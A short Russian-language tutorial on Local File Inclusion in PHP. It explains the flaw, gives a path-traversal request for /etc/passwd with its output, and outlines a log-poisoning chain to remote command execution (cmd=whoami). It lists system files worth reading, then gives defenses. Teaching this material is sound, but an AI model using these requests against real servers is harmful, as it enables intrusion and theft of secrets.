УЯЗВИМОСТЬ: LFI (Local File Inclusion)
Суть:
Если веб-сервер вставляет имя файла из пользовательского ввода (например, через include в PHP),
можно подставить системный файл и прочитать его содержимое. Иногда можно даже выполнить код.
Пример уязвимого PHP-кода:
Пример атаки:
Запрос:
http://vulnerable-site.com/index.php?page=../../../../etc/passwd
Результат:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Расширенная атака — LFI to RCE через access.log:
-
Отправляем вредоносный User-Agent:
-
Это попадёт в лог, например:
/var/log/apache2/access.log -
Делаем запрос:
http://vulnerable-site.com/index.php?page=/var/log/apache2/access.log&cmd=whoami -
Выполнение команды на сервере:
www-data
Полезные файлы для чтения через LFI:
- /etc/passwd — список пользователей
- /proc/self/environ — переменные окружения, может быть путь к бинарям, куки, и т.д.
- /var/log/apache2/access.log — логи, можно использовать для внедрения шелла
- /proc/version — версия ядра
- /etc/hostname — имя хоста
- /etc/issue — дистрибутив Linux
Защита:
- Никогда не доверяй пользовательскому вводу для include/require
- Используй белый список допустимых значений
- Очищай ввод от ../ и других обходов (%2e%2e/, %252e%252e/)
- Используй realpath() и сравнивай путь с базовой директорией
Заключение:
LFI — простая, но смертельно опасная уязвимость.
Через неё можно читать файлы, вытащить конфиги, куки, токены, и даже получить RCE.